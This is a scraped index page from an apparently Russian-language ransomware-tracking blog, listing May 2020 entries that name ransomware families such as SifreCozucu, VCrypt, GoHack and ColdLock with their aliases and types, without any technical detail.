(шифровальщик-вымогатель) (первоисточник)
Translation into English

Постоянные читатели

My tweet feed

My profile on BC

Форма для связи / Contact

вторник, 5 мая 2020 г.

SifreCozucu

SifreCozucu Ransomware

TurkSifre Ransomware

Aliases: B@H}!ER@, Bahtier

(шифровальщик-вымогатель) (первоисточник) Translation into English

понедельник, 4 мая 2020 г.

VCrypt

VCrypt Ransomware

(шифровальщик-вымогатель, 7zip-вымогатель, стиратель) (первоисточник)

Translation into English

воскресенье, 3 мая 2020 г.

GoHack

GoHack Ransomware

GoRansom Ransomware

(шифровальщик-вымогатель) (первоисточник) Translation into English

LockTaiwan, ColdLock

LockTaiwan Ransomware

ColdLock Ransomware

CPC Ransomware

(шифровальщик-вымогатель) (первоисточник) Translation into English

Постоянные читатели

My tweet feed

My profile on BC

Форма для связи / Contact

вторник, 5 мая 2020 г.

(шифровальщик-вымогатель) (первоисточник)
Translation into English

понедельник, 4 мая 2020 г.

воскресенье, 3 мая 2020 г.

(шифровальщик-вымогатель) (первоисточник)
Translation into English

(шифровальщик-вымогатель) (первоисточник)
Translation into English